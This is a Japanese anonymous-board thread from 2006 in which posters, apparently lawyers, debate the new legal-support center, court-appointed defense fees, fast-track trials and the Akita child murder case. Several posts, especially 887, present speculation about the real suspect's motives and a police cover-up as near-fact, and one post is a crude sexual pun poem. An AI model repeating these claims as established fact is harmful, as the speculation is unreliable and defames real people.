801 :無責任な名無しさん:2006/06/04(日) 00:48:45 ID:brr5DiOS
 本日熱海における日弁刑弁センターに出席した。

「呆テラス契約を勧奨する。」

(昔,ミランダの会が「慫慂」するとか言われたので,「勧奨する」という言葉を使ったと思われ)

ということが活動方針として活動方針として「可決」された。

 漏れは株で結構儲けているから弁護始業を勧奨退職するつもりだOrz。


802 :無責任な名無しさん:2006/06/04(日) 01:12:03 ID:cqCFkw33
呆テラスが弁護士不足となって国選弁護に支障をきたしたら

 日弁連が世論の袋叩きに遭う

からでしょう。ホントは

 日弁連執行部だけが世論の袋叩きに遭う

のがスジなのですが。

803 :TN ◆gpUt4wjlSk :2006/06/04(日) 07:36:46 ID:LY27dGvV
オレが書き込みするとこのスレが荒れるようなのでしばらく書き込みやめます
(他の人は自由に議論して下さい)
オレが間違ったこといってるからやめるんじゃないからね
まあ分かってくれた人も多数いるようだし正直もう言うこともないしね
でもこのスレ見てる弁護士以外の人からは弁護士の人間性が良く分かって良かったかも

804 :無責任な名無しさん:2006/06/04(日) 09:02:26 ID:PW+aNwZ7
>皆さんのほうから私を侮辱する書き込みをしなければ、私も一切触れません。
>オレが間違ったこといってるからやめるんじゃないからね

TN本人が異様にプライドが高く、
負け惜しみの強い人間性であることはよく分かった。
最後まで楽しませてくれてありがとうw
また、おもちゃになりに来いよww

805 :無責任な名無しさん:2006/06/04(日) 09:10:46 ID:QyfSPVtG
>803
コテつけると叩かれやすくなるのが2ちゃんの常ですから・・・。
知らん顔して、普通に名無しで書いたり、たまにTNで書いたりすれば
よろしいかと思いますよ。

806 :無責任な名無しさん:2006/06/04(日) 09:39:42 ID:IRasbsSu
>>803
>オレが間違ったこといってるからやめるんじゃないからね
こういうのを、負け犬の遠吠えという。

807 :無責任な名無しさん:2006/06/04(日) 09:50:01 ID:snBUHeSi
ところで法テラスがいい制度だとは、ここでは誰も言ってないんですけど……
誰か日弁連の公式見解知りませんかね。

808 :無責任な名無しさん:2006/06/04(日) 11:59:05 ID:yiw5rm/z
>>798
それ、本人に言われたら泣いちゃいます。
でも諦めもつくけど。

>>799
きゃー本当ですか!
悪い気がしないってだけでもいいな。嬉しいな。
何も出来なくても、これから先縁が切れなければそれだけでいいや、もう。

>>800
そんなことはもちろんしないですけど。


809 :無責任な名無しさん:2006/06/04(日) 12:05:30 ID:cqCFkw33
>>808
付き合っているときは「お互いの家庭を大事にして壊さないようにしよう」って逝っている女性が,振られた途端に手のヒラ返したようにこういうことする例をウチらは嫌ってほどみているんだよ。
まさに女心は秋の空!

810 :無責任な名無しさん:2006/06/04(日) 12:11:50 ID:davMs1w6
なんか、メロンのMSさんや時折ハラヨコのTNさんを柱に、
マターリと弁護士の本音を語り合ってきたスレが、
最近、おかしくなってきましたね。

やはり、予想されたとおり、
質量ともに弁護士業界の中身の変化してきた表れでしょうかね。



811 :無責任な名無しさん:2006/06/04(日) 12:13:00 ID:cqCFkw33
諸悪の根源
司法改革!

812 :無責任な名無しさん:2006/06/04(日) 12:20:39 ID:yiw5rm/z
>>809
なるほど、確かにありがちですね。
そういえば私の周りにもそんな人がいました。

でも!でも私は違うー!
なんて言っても信じてもらえないですよね。

813 :無責任な名無しさん:2006/06/04(日) 12:22:49 ID:cqCFkw33
>>812
2chで不倫獲得宣言する変態は信用できない

814 :無責任な名無しさん:2006/06/04(日) 12:24:09 ID:lNSep/Pu
>>812
たけし!!いい加減に宿題やりなさい!!

815 :無責任な名無しさん:2006/06/04(日) 12:27:15 ID:yiw5rm/z
>>813
ごもっともです。
ごめんなさい。
今は考えを改めました。
不倫じゃなくてもいいので、この件が終わっても縁が切れなければいいなと思ってます。
変態ってのは否定しません。
ドMです。

>>814
か、かーちゃん!


依頼してる弁護士さんを、食事に誘ったりしてもいいものですか?
だれかーーーおしえてーーー

816 :無責任な名無しさん:2006/06/04(日) 12:59:57 ID:R62DMm1v
>質量ともに弁護士業界の中身の変化してきた表れでしょうかね。

田舎では,単に国選の義務から抜けたい奴らが,
センターに反対→国選やらない
という論理を振り回してごねている。
TNさんもこの同類だと思われたので,
反感を持たれたのでしょう。

>小規模会の人が嫌だけどやめられない理由が身をもって分かったよ
>ここでのオレみたいに陰湿なイジメにあうからだね

まわりを気にしていることは事実だけど,
それだけだって言われると,カチンときますね。
国選は大嫌いだけど,ほんの少し使命感もある。
このほんの少しが自分にとってはとても大切なのだ。

TNさんの書込みは,いろんな立場の人に対する心遣いが
少しばかり欠けるかと。






817 :無責任な名無しさん:2006/06/04(日) 13:14:00 ID:cqCFkw33
>国選は大嫌いだけど,ほんの少し使命感もある。

 禿同
 みんなイロイロなことを言うけど,ここだけは共通だと思う。

818 :無責任な名無しさん:2006/06/04(日) 13:53:32 ID:hji2cvvu
【これがトヨタのやり方?】大阪トヨペット、内部告発社員に自宅待機指示 通報窓口の弁護士が告発者実名を「横流し」
http://news18.2ch.net/test/read.cgi/bizplus/1149365329/

819 :無責任な名無しさん:2006/06/04(日) 14:00:47 ID:cqCFkw33
それが本当なら漏らした弁護士は守秘義務違反で懲戒!

820 :無責任な名無しさん:2006/06/04(日) 16:32:49 ID:8Fir5K0t
>>816
その通りですね。
まあ使命感がないような人も私の地方にはごく少数いますけど、大半の人たちはそう思ってると考えています。

弁護士は、自分の思うままに自由に金儲けだけしていたらよいと言う職業ではないんだと思ってます。
まっとうに金を払って相談に来ている人の仕事の合間ではありますが、割に合わない仕事もひきうけています。
都会は弁護士の数が多いから好き勝手出来るんでしょうけど、そういった弁護士の態度が、社会的批判を浴び、法テラスだのなんだのを生み出したことを忘れては行けないと思います。


821 :無責任な名無しさん:2006/06/04(日) 16:44:51 ID:mChuFFcC
国選や扶助のやり手がなくて困ったという話しは聞いたことないよ。やっぱり法務省に騙されただけじゃないの。

822 :無責任な名無しさん:2006/06/04(日) 16:50:50 ID:MwB5nzG/
国選に困って最後はヤメ検弁護士に泣きついてやってもらうことあるお
扶助は困ったらボス弁にナシつけてイソ弁を動員
こういう地域の実情も知って!

823 :無責任な名無しさん:2006/06/04(日) 16:56:08 ID:UCziXKnj
>>821
こないだ,九州のほうの殺人か強殺かの事件で,国選のなり手がいなくて,推薦依頼を受けた弁護士会で「あみだくじ」やって決めたと報道されてたばっかりだが。

824 :無責任な名無しさん:2006/06/04(日) 16:59:14 ID:MwB5nzG/
東京でも特別案件に指定してもなり手がなく
   副会長のイソ弁にお鉢がまわる
   検察OB弁護士に泣きつく
ということがタマにあります。

特に記録が膨大で否認の事件(新聞報道される)なんか。

825 :無責任な名無しさん:2006/06/04(日) 17:01:23 ID:UCziXKnj
>>818
組織外の者に通報したとき,公益通報者保護法で通報者が保護されるのには,かなり難しいハードルがあるからな・・・。


826 :無責任な名無しさん:2006/06/04(日) 17:03:09 ID:VH5vGPVI
>>821
これから被疑者弁護が始まるので問題なのだよ。
>>823
それは特別案件だから,例としてはあまり適切ではないな。

827 :無責任な名無しさん:2006/06/04(日) 17:04:14 ID:RgGMfD5Q
>>825
この事例は会社が自ら設置した通報窓口に通報しただけなのだが・・

828 :無責任な名無しさん:2006/06/04(日) 17:48:21 ID:GTGoSFA2
ああいう国選は司法書士にやってもらやーいいよ

829 :無責任な名無しさん:2006/06/04(日) 17:51:24 ID:MwB5nzG/
即決裁判は国選5万円だってね
情状立証は猶予確定だから手抜きで良いが
接見と記録読む手間はかわらない

830 :無責任な名無しさん:2006/06/04(日) 18:05:10 ID:LUOGkl5W
 即決裁判って、情状立証しなければならないのかな。
 略式裁判に、弁護人の同意を付加しただけのものと思っていた。ゆえに、記録を読んで、1回接見に行って、
被告人の意思確認だけをやればよいと思っていた・・・。

831 :無責任な名無しさん:2006/06/04(日) 18:05:44 ID:mChuFFcC
もうやらね。
法テラスの人頼んだよ。

832 :無責任な名無しさん:2006/06/04(日) 18:11:01 ID:MwB5nzG/
即決裁判は,公判開いて30分くらいで即日判決らしい。
起訴後2週間以内に第一回公判が義務だから20日満期よりも日程がタイト。
ゆえに待機当番制でないと接見、記録読み、同意を10日くらいで処理できない。
しかも2週間以内に期日が指定されるから日時調整が大変なもよう。

833 :無責任な名無しさん:2006/06/04(日) 18:34:26 ID:9PMFAuKc
正太郎の歌
ttp://gazo08.chbox.jp/roboani/src/1149293930621.wmv

鉄人は知ってたが、こんな歌があったとは・・・

834 :無責任な名無しさん:2006/06/04(日) 18:37:30 ID:oUIsOhw9
>>833
これなんかの歌の替え歌じゃない?

835 :無責任な名無しさん:2006/06/04(日) 20:41:44 ID:VH5vGPVI
秋田の事件,朝に「任意同行」して以来今までずっと話を聞いているらしいが・・・
あとで調書の任意性が争われる予感。

逮捕されていないから当番の対象にならないにしても,何もしなくていいんだろうか?

836 :無責任な名無しさん:2006/06/04(日) 21:26:16 ID:LyOz1Qns
委員会派遣(押し掛け当番)しないのかな?
逮捕されないとできないんだっけ?

837 :無責任な名無しさん:2006/06/04(日) 21:45:36 ID:UCziXKnj
司法書士に国選を開放して,国選弁護人認定試験をしても,受験者ほとんどゼロだろうな・・・・

838 :無責任な名無しさん:2006/06/04(日) 21:47:51 ID:UCziXKnj
>>835
心配しなくとも,夜までには逮捕状執行される。
日が暮れて任意同行を続けると「実質的逮捕」とするのが最高裁の考え方だと思うが。

839 :無責任な名無しさん:2006/06/04(日) 21:52:34 ID:UCziXKnj
>>832
サクサク自白で済んだ即決裁判で,被告人が判決が気に入らないからって控訴したら,
そのあと就かなきゃいけない控訴審の国選弁護人は,非常に困るな。

840 :無責任な名無しさん:2006/06/04(日) 21:53:07 ID:UCziXKnj
「即決への同意に任意性がない」とかいう主張をしなきゃいけなくなったりして。

841 :無責任な名無しさん:2006/06/04(日) 22:06:33 ID:GGQZvObz
>>815さん
マジレスしますが、
弁護士は依頼者とそういうことになることはしません。
ただ、縁が切れないだけでいい、お友達になるだけでいい、と
おっしゃるのであれば、
法律問題を抱えている人をどんどん紹介してみてください。
紹介者として「いい依頼人」を連れてくる人なのであれば、
お友達として続いていくことでしょう。

842 :無責任な名無しさん:2006/06/04(日) 22:32:33 ID:Isjv3ygO
>>838
現在、夜の午後10時30分。未だ、逮捕状執行されていません。
さっき,TVの解説者がこのくらいの取調べは「適法な取調べ」と断定していました。
断定ですよ。


843 :無責任な名無しさん:2006/06/04(日) 22:42:06 ID:uOB7z1we
秋田の事件、やっとキップ「請求」だって
まぁ明日のうちに送検すればいいんかな?


844 :無責任な名無しさん:2006/06/04(日) 22:44:18 ID:AfT7SL2/
でも実際依頼者と結婚する人もいるけどね

845 :無責任な名無しさん:2006/06/04(日) 23:05:11 ID:UCziXKnj
今回はどうせ物証の状況証拠を固められるんだろうから,身柄関係の手続でケチつかないようにやればいいのにね。
Kは(ときにはPやJも),手続に少々瑕疵があっても自白事件なら問題ないと思ってるからな・・・。
自白事件で結論に影響のないときは手続違背を指摘しない我々もいけないんだが。

846 :無責任な名無しさん:2006/06/04(日) 23:11:53 ID:yFd+Jv5a

え、僕の依頼者って破産者と不倫者ばかりですよ。一人で独立してやってますが

847 :無責任な名無しさん:2006/06/04(日) 23:14:02 ID:JDuaSgwU
>844
少なくとも私の周りにはいないし、そういう話を聞いたことはないよ。
別に否定するつもりもないし、また、そうなっちゃったらしょうがない
とは思うのだけど、依頼者と結婚したなんて公言できる弁護士はまず
いないので、そんな話を聞くことはまずなかろうと思います。

でも、依頼者(というか顧問先)の娘と結婚したというのは聞いた
ことはあります。



848 :無責任な名無しさん:2006/06/04(日) 23:15:36 ID:yFd+Jv5a
あーあサッカー見よう。うちの支部には可愛い訴訟マニアがいたけど弁護士と訴訟マニアが結婚したらどうなるのかなあ?
怖いのか愛を支え合うのかと当時傍聴席で見て考えていました


849 :無責任な名無しさん:2006/06/04(日) 23:20:29 ID:9PMFAuKc
さすがに「任意」でも、家に帰らせないことまではできないってことだろうな。
最初から「逮捕」すればいいのにと思うが、それだと時間制限のカウント
ダウンが始まるから、警察としてはできるだけ逮捕を後回しにしたいんだね。

本当に捜査機関ってやつは自白が好きだね。

850 :無責任な名無しさん:2006/06/04(日) 23:36:38 ID:9PMFAuKc
逮捕されたか。
手続はともかく、動機はなんなのかなあ。

1 自分の子は死んだのにその友だちは生きてて幸せそうなのが憎かった。
2 近所の子も不審死すれば自分の子供の事件を再捜査してくれると思った。

851 :無責任な名無しさん:2006/06/05(月) 00:27:37 ID:tgl7KpVs
3 「実は僕がやったんだ」「ムキー」
だったらあまりにも救いがないな…

852 :無責任な名無しさん:2006/06/05(月) 01:46:49 ID:2ndqD20i
落としてないのに  割れていて
洞窟じゃないのに  穴があり
ケガしてないのに  出血し
アマゾンじゃないのに  ジャングルで
チラシじゃないのに  ビラビラで
射撃じゃないのに  狙われて
雨でもないのに  濡れていて
アイスじゃないのに  舐められて
秋でもないのに  クリがあり
悪くないのに  せめられて
犬じゃないのに  棒に当たり
やわらかいのに  硬いの好きで
ゴールじゃないのに  インされて
コタツじゃないのに  あたたかい
疲れてないのに  突かれちゃう
ビールじゃないのに  生がよくて
クジラじゃないのに  潮をふき
タコでもないのに  吸い付いて
ギョーザじゃないのに  包み込み
子供じゃないのに  オモチャ好き
果てはないのに  果てられて
賭けてもないのに  かけられる


853 :無責任な名無しさん:2006/06/05(月) 01:51:12 ID:8vYC/lQz
>852
くだらねーけどうまくできてんなw

854 :無責任な名無しさん:2006/06/05(月) 02:29:22 ID:5uW79Umq
能代の弁護士は2人か。能代ひまわり基金法律事務所の先生に負担かかりそう。

855 :無責任な名無しさん:2006/06/05(月) 03:44:14 ID:eXPQ2yVe
司法書士には司法崩れが多いから、国選はやりたがるかまかもよ
うちは国選依頼にびくびくしながら仕事してるからさ。
そんなとき国選認定司法書士が知り合いにいると、たすかるんだけどな
国選あたると一気に売り上げというか処理速度落ちない?

856 :無責任な名無しさん:2006/06/05(月) 03:46:06 ID:QWHofn3H
ひまわりの先生がやるのかな?
いろんな意味で、負担がかかりそうだよ。
今後も、地元とうまくやっていかなければならないのだから、被疑者側か
被害者側かのどちらかにひまわりの弁護士が付くのはあまりよくなさそう。
地元からちょっと離れた秋田の弁護士がやった方がいいと思うね。
どうせ、支部では起訴されず本庁でやるんだろうし。


857 :無責任な名無しさん:2006/06/05(月) 08:49:51 ID:8Yq24un9
でも書士は刑法刑訴なんかほとんどやってないだろ
学部生のほうがましなくらいだろ

数も増えるんだし,書士にまわさなくて良いよ
しばらく我慢して,後はスタッフ弁護士や,就職がなくていきなり実家で開業さんとかにまかせましょう

858 :無責任な名無しさん:2006/06/05(月) 09:08:38 ID:cEUZ/N/R
〉847
そんなの馬鹿正直に言わないだけだろ
ホステスと結婚した人がそう言わないのと同じでいくらでもいる

859 :無責任な名無しさん:2006/06/05(月) 09:23:38 ID:jRGVnm9a
>>850

4 自分の子を事故死と決めつけた警察への復讐
5 さんざん自分の子のことで文句を言われた警察の捏造逮捕

860 :無責任な名無しさん:2006/06/05(月) 11:47:56 ID:8Yq24un9
娘の殺害現場を目撃されていたので証拠隠滅
ってのが週刊誌か何かにあった

861 :無責任な名無しさん:2006/06/05(月) 13:21:06 ID:y2aF5aQ3
弁護人はマスコミになにをしゃべるかな。
最近の弁護人はマスコミに余計なことをしゃべりすぎだから「話すことはない」で通してほしいものだ。
自分が叩かれるのが嫌なら最初から受けるな,と言いたい。

862 :無責任な名無しさん:2006/06/05(月) 16:05:44 ID:eXPQ2yVe
ローで質がさがらなきゃいいな

863 :無責任な名無しさん:2006/06/05(月) 16:09:35 ID:8Yq24un9
>>862
無理言うな

864 :無責任な名無しさん:2006/06/05(月) 18:19:19 ID:JVmvFqip
別に注目事件だからって特別扱いをすることはない。
その他の多数の事件と同じく淡々と普通にやればよい。
扶助事件ならば、扶助事件で採算に合う範囲で弁護活動をすればよい。
弁護士はボランティアじゃないんだからね。














865 :無責任な名無しさん:2006/06/05(月) 18:36:48 ID:g297Kabt
>>864
委任契約は本来無償のもの。金額が多くても少なくても善管注意義務を負っていることに
違いはない。金額が安いからそれに応じた処理というのは無理。
民法の教科書から読み直せ。予備校のテキストにだって書いてあったろ。
依頼者が一銭も払わなかったら、双務契約だから同時履行の抗弁権は使えるかもね。

プロなら、徹頭徹尾法律論で考えろってことです。

866 :無責任な名無しさん:2006/06/05(月) 18:38:23 ID:RZvUG1n5
扶助事件で採算に合う範囲の弁護活動って・・・
数回接見に行く程度しかできないのでは

867 :無責任な名無しさん:2006/06/05(月) 18:55:08 ID:o7obGdo4
>865
 そうそう、だから採算のとれないものは、少なくとも会員の義務件数を越えては引き受けないというのが正解ですね。
と、会員の義務件数の5倍は国選をやっている支部弁護士(864ではない。)が言ってみる・・・。

868 :無責任な名無しさん:2006/06/05(月) 18:57:26 ID:y2aF5aQ3
>>867
「義務件数」なんて存在しない単位会は山ほどあるんだが。
っていうかそんなものある方が少ないのでは。

869 :867:2006/06/05(月) 19:13:37 ID:o7obGdo4
>868
 小規模単位会ではそうかもしれませんね。うちは、本庁には1件もやらない会員がいる程度の規模はあるので、僻みを言ってみました。
しかし、3年後は小規模単位会はどうするのでしょうかね?出来ないものは法テラスに投げなければしょうがないということになりますかね。


870 :無責任な名無しさん:2006/06/05(月) 19:31:52 ID:QIkt9Yxj
俺たちが考えることじゃねーよ。
呆テラスが何とかするだろ。

871 :無責任な名無しさん:2006/06/05(月) 20:43:06 ID:fB3BzdJe
>>864-866
すみません。当方非弁ですが、質問します。

当方法律扶助協会による法律扶助を受けて民事訴訟をしています(当方原告)が、やっぱり法律扶助の有無によって弁護士の気合の入り方・事件に対する対応や取り組みは変わるのですか?

それと、法テラスが話題に上がっているようですが、法律扶助事業も法テラスでやるようですが、今受けている法律扶助はどうなるのですか?

872 :無責任な名無しさん:2006/06/05(月) 20:49:51 ID:6vTtO5Sd
 法律扶助協会はカイサーンする。残余財産がどうなるかは知らない。

873 :無責任な名無しさん:2006/06/05(月) 21:34:28 ID:OHe5/xfe
当然に,法テラスに進行中事件もまるごと移転する。

874 :871:2006/06/05(月) 21:38:39 ID:B2DimLWZ
>>872-873
つまり、法律扶助協会は、解散となって、法テラスに引き継がれるということになる。
係属中の事件も法テラスに引き継がれて、依頼人は法テラスに償還するということでしょうか。

875 :無責任な名無しさん:2006/06/05(月) 21:50:09 ID:AcQEDlNq
一次試験だ。
これを処理せよ。
http://pc7.2ch.net/test/read.cgi/yahoo/1148879882/l50
http://pc7.2ch.net/test/read.cgi/yahoo/1144387514/l50
http://pc7.2ch.net/test/read.cgi/yahoo/1149123811/l50
http://pc7.2ch.net/test/read.cgi/yahoo/1149244298/l50
http://pc7.2ch.net/test/read.cgi/yahoo/1144449556/l50

876 :無責任な名無しさん:2006/06/05(月) 22:28:51 ID:6vTtO5Sd
>>873

 良く知らーん。

 法律扶助協会で援助金を受け取った弁護士は,「仕掛かり中の事件を誠実に遂行するす
る義務」を法律扶助協会と依頼者に対して負担する。

 掛かる「義務」←きわめて属人的な義務が呆訪テラスに引き継がれるかどうかは,一個の
民法上の問題である。

 我妻説では「私は,あんた(受任弁護士)に事件を依頼したのだから,<阿呆テラス>への債務引継ぎは承認しがたい。」という主張は,とおるであろう。

<承継的債務引受け>なのか<免責的債務引受けなのか>が論点となろう。


877 :無責任な名無しさん:2006/06/05(月) 22:33:45 ID:6vTtO5Sd
 刑弁センターで,

<同業者に対して,LSCへ(阿呆テラス)の契約を勧奨する>

という決議がなされた。

 そのうち,会長・副会長が<非契約弁護士>の事務所に乗り込んでオルグすることとなろう。

878 :無責任な名無しさん:2006/06/05(月) 22:36:42 ID:6vTtO5Sd
>>877

 これからは,「阿呆テラスと契約していない弁護士」は「非契約弁護士」



非弁


と略記されるのかも知れない。

879 :無責任な名無しさん:2006/06/05(月) 22:51:03 ID:6vTtO5Sd
>>876

 今まで「法律扶助協会」と協力して,破産事件とか離婚事件を「持ち込み」していた。
 しかしーーーだ。このたびの<呆テラスの約款>では,「民事事件の持ち込みも<呆テラス>と基本契約をしなければ
いけないらしい」。
 こういう「営業の自由」に抵触するような契約を拒否する弁護士は多数いるであろう。そうすると,「法律扶助」で受けていた事件が当然に「阿呆テラス」に引き継がれるかどうかは,良く分からない。

 「

880 :無責任な名無しさん:2006/06/05(月) 23:02:10 ID:a0/wyvm/
不契約弁護士だからで 不弁?

881 :無責任な名無しさん:2006/06/06(火) 03:06:28 ID:BN64Qw+m
会員名簿っていつから郵送のみになったんだ?@答弁
しかも送料は着払いだって。
前は弁護士会に取りにいけたのに。
ふざけんなa

882 :無責任な名無しさん:2006/06/06(火) 03:48:26 ID:UEVl/RGC
TN先生へ

中小の単位会では,副会長職は皆さん嫌々やっているのがほとんどだと思います
”好きで”やられているのは少数ではないかと思われます
誰しも事務所経営や好きな会務だけに傾注したいのが人情でしょう

TN先生が何処の単位会かは存じ上げませんが,当会のような小単位会の実情からすれば
>>705
のようなご意見には到底承服しかねます

TN先生も"法テラス反対"という確固たるご意見をお持ちなのであれば,副会長職に就き,是非そのご意見を
日弁連で開陳して頂きたかったと思います


883 :871:2006/06/06(火) 08:46:03 ID:P5+wx7pl
>>882
当方非弁ですが、お許し下さい。
> 中小の単位会では,副会長職は皆さん嫌々やっている
今年になって、当方の訴訟代理人をしている弁護士さんが弁護士会の副会長になったみたい。
「あれは奉仕だから」って言っていましたが、それはやっぱり「イヤイヤやっている」という裏返しなのでしょうか。

884 :無責任な名無しさん:2006/06/06(火) 10:58:07 ID:jkqg/E7C
秋田の事件は、日頃から子供の世話をしてなかったみたいだから、事故だと自分が非難されるので
事件に思わせるためやったんだろうな

885 :無責任な名無しさん:2006/06/06(火) 11:03:16 ID:/nsEWKOP
>>883
そうだと思います。
副会長になったら売り上げは下がりますし,いざというときに動けなくなってしまうことで顧問契約切られたりする人もいます

886 :無責任な名無しさん:2006/06/06(火) 11:13:28 ID:1STCFryk
TN先生の投稿については,田舎の小規模単位会所属の弁としては
納得しがたい部分があったので,何度か真面目な反論をしたが,
ご本人は聞く耳持たんという態度なので諦めた。

887 :無責任な名無しさん:2006/06/06(火) 11:28:00 ID:aD8/Kqe0
>>884
綾香ちゃんの遺体が発見されたときにきちんと捜査していれば、母親による折檻死だったことが
すぐにわかったはずだ。
いや、能代署はうすうすそのことに気付いていたのだろう。しかし捜査が面倒なので事故死ですまそうとした。
それが、「事件よりも事故のほうがおかあさんも救われるでしょう」という言葉になった。
もっとかまってもらいたかった母親の思惑は見事にはずれ、頭にきて「テレビの力』に自ら連絡。
テレビ朝日はじめマスコミの取材に”快感”を覚えて、あとは豪憲君殺害まで一直線。
綾香事件が風化しかかった頃の、話題づくりのための犯行だった。
普通人には理解しがたい異様な顕示欲。
疎外され続けてきた人生の中で、一気に得た”時の人”の感覚。歪んだ顕示欲がこの犯罪を生んだ。
これはなにもこの母親に特有の心的傾向ではなく、自己顕示欲が異常に強い虞犯者にありがちの行動。

888 :無責任な名無しさん:2006/06/06(火) 11:53:54 ID:/nsEWKOP
どっちかの子には保険金がかかっていたそうだね

889 :無責任な名無しさん:2006/06/06(火) 17:35:15 ID:fe+aqDdr
未だ就職できない修習生がいるらしいが、事件屋や整理屋らの餌食になるのも時間の
問題だな。これからどんどん弁護士の評判が下るなぁ。やだやだ

890 :無責任な名無しさん:2006/06/06(火) 17:37:58 ID:gLSdwPn7
やだやだなんて言ってるぐらいなら、自分の事務所で一人でも二人でも取ってやればいいのに。
イソ弁なら、「いつまでイソってるんだ。使えてるんだから早く独立しろよ。」って、
該当の修習生から思われていますよ。

891 :無責任な名無しさん:2006/06/06(火) 17:47:56 ID:fe+aqDdr
自分いの事で精一杯だよ。3000人時代の前にたくさん貯金しとかないとな。

892 :無責任な名無しさん:2006/06/06(火) 17:57:18 ID:yEdMQVfm
 これからは事務所経営も大変そうだし、仕事は完全に自分の判断と裁量でやっているし、イソ弁のままのほうがいいんじゃないと思いつつある54期の私・・・。

893 :無責任な名無しさん:2006/06/06(火) 18:08:11 ID:gLSdwPn7
もちろんその通りだと思いますよ。
であるなら、>>889 みたいな事は書かない方がよろしいかと。
>>882 に指摘がありましたが、役職についたり等で改善をしていくための努力をされては。
という返しも出てくるでしょうし。

その様な努力は惜しんでいない。今単位会の会長だけど、なかなか進まないので、2ちゃんねる
で愚痴を言うぐらい。。。っとか言うような事でしたら、失礼しました。

894 :無責任な名無しさん:2006/06/06(火) 18:18:28 ID:VfQbpL6h
2ちゃんねるに愚痴を書き込む単位会の会長がいるとは
とうてい思えないんだが。そういう俺は、単位会の副会長。

895 :無責任な名無しさん:2006/06/06(火) 18:21:34 ID:AzNKjEjl
俺も単位会の副会長w

896 :871:2006/06/06(火) 19:36:11 ID:u7uSVQBe
>>885
ご回答ありがとうございます。
そういうもんなんですかね。
副会長なんていうと、何か弁護士としてハクがついたと思っちゃいますけどね。

個人的には、俺の事件に手抜きしなければなんでもいいですがね。

897 :無責任な名無しさん:2006/06/06(火) 20:26:35 ID:20R6ScCy
大橋君、本当にすみませんでした。

898 :無責任な名無しさん:2006/06/06(火) 22:21:07 ID:cNp/hyrN
うちの事務所で、イソ弁募集してるんだけどなぁ・・・
俺が独立する後釜に来て欲しいんだよ。
地方のちっこい単位会でもいいから来てくれるような修習生はいないかね。


899 :無責任な名無しさん:2006/06/06(火) 22:55:03 ID:bM9lIWjP
不起訴で終わった場合、弁護士さんに感謝の気持ちとして個人的に報酬金以外にプレゼントを
したいのですが、受け取ってもらえますか?
またその場合何がいいでしょうか。


900 :871:2006/06/06(火) 23:02:03 ID:kGPOdx4t
>>899
俺は非弁で民事訴訟の依頼者だが、俺はお中元とお歳暮は贈りました。
その時は、弁護士さんの好みがわからず、事務所の事務員さんのことも考えてみんなで食べられるものを贈りました。

901 :無責任な名無しさん:2006/06/06(火) 23:03:52 ID:vJXI5zQ1
本人よりも事務員が喜ぶ物の方がいいでしょう。
これでも結構事務員に気を使う商売ですから。

902 :無責任な名無しさん:2006/06/06(火) 23:05:18 ID:C2fp3DLe
単位会の会長・副会長がこんな品のないところに書き込みするかな。と言いつつカキコしている自分。

903 :無責任な名無しさん:2006/06/06(火) 23:07:50 ID:C2fp3DLe
不起訴なら私撰でしょ。じゃ、プレゼントを受け取るのに何の問題もないじゃん


904 :無責任な名無しさん:2006/06/06(火) 23:51:29 ID:bM9lIWjP
>>871
ありがとうございます。
これから、きちんとお中元とお歳暮を贈るようにします。

>>901
ありがとうございます。
個人的なプレゼントと、菓子折りか何か持っていくことにします。

>>903
ありがとうございます。
そうなんですか、受け取ってもらえなかったりするのかと思ってました。
大丈夫なんですね、よかった。

905 :無責任な名無しさん:2006/06/07(水) 00:43:05 ID:hYG9YdWc
村上、目がやばい。

906 :無責任な名無しさん:2006/06/07(水) 00:47:47 ID:Qk2eOE+Y
炎上弁護士がやばい。
イデオロギー論争煽ってる。

907 :無責任な名無しさん:2006/06/07(水) 06:47:37 ID:brcbIioC
村上は実刑かな?

908 :無責任な名無しさん:2006/06/07(水) 08:31:47 ID:ZMovtluT
当方非弁ですが、質問します。
スレ違いの場合には、誘導願います。

今朝の読売新聞(YOMIURI ONLINE)に、"「即決裁判」起訴→判決は14日以内…最高裁方針"と出ていますが、これで微罪に対する起訴件数は増えるのでしょうか。
またかつては微罪等の理由で起訴猶予に付されていた犯罪(例えば労働基準法違反や建設業法違反等)が起訴されるようになるのでしょうか。

909 :908:2006/06/07(水) 08:34:43 ID:ZMovtluT
即決裁判のソース
http://www.yomiuri.co.jp/national/news/20060607i201.htm?from=main2

「即決裁判」起訴→判決は14日以内…最高裁方針
 刑事裁判の迅速化を図るため、今年10月にも導入が予定されている「即決裁判」を巡り、最高裁は6日、起訴から判決までの期間を「原則14日以内」とする方針を固めた。
 「即決裁判」は、殺人や強盗など重大事件を除く比較的軽微な事件で、被告が認めているものに限り1回の裁判で決着させる新たな制度。
 従来は、同様のケースで起訴から判決言い渡しまで平均約2・6か月かかっていたが、これが2週間に短縮されることで、大幅な効率化が図れそうだ。
 即決裁判は、司法制度改革の目玉の一つとして導入される。
 捜査段階で容疑者が罪を認めた場合、検察官が本人や弁護側の了承を得た上で、起訴と同時に裁判所に申し立てる。
 初公判は原則14日以内に開かれ、被告が起訴事実を認めれば、その日のうちに審理を終え、判決を言い渡す。
 対象は、万引きなど窃盗、覚せい剤使用、外国人の不法滞在事件などの初犯の事件が中心。
 ただし、執行猶予が付かないような悪質なものは除外される。
 現在、全国の地裁と簡裁で扱っている刑事事件は年間約13万2800件に上る。
 最高裁では、このうち「即決裁判」の対象は、約1割の1万数千件と想定している。
 従来の刑事裁判では、軽微な事件で被告が起訴事実を認め、審理が1日で終結しても、判決は別の日に言い渡されているケースが多かった。
(2006年6月7日3時1分 読売新聞)

910 :無責任な名無しさん:2006/06/07(水) 09:14:18 ID:7noGWp18
>>908
一応、現在の認識では
「今まで起訴されてた案件のうち、被告人が自白していて執行猶予が間違いない事案」
が即決裁判になるということで、今まで起訴猶予になってた事案が即決裁判になると
いう認識ではなかったような。

911 :無責任な名無しさん:2006/06/07(水) 09:42:17 ID:qb6d+vBM
起訴から2週間って辛いな〜
記録見て接見して家族と会って被害弁償して・・・って2週間は無理だろ。
そもそも、2週間後の期日なんて入らないよ。
民事が大体1ヶ月ごとなんだから、1ヶ月分は予定が埋まっちゃってる。
ま、スタッフ弁護士ならやれるって見込んでいるのか。
これから独立するのも大変だし、自宅事務所にして、国選月に5〜6件やって、
外でうち合わせして、残ったたくさんの時間は好きなことして、のんびり生きて
いきたいな。

912 :無責任な名無しさん:2006/06/07(水) 09:51:31 ID:7leKuLiL
それならしてることが普通の裁判と全く同じだろ。
忙しくなる上に、報酬が安くなり、弁護士にとって何一ついいことないじゃん。
即決裁判では、家族と会うことも、被害弁償も不要だろう。
もし、どうしてもしたいなら普通の裁判を求められばいいだけ。

913 :無責任な名無しさん:2006/06/07(水) 10:09:50 ID:c6fAIDLy
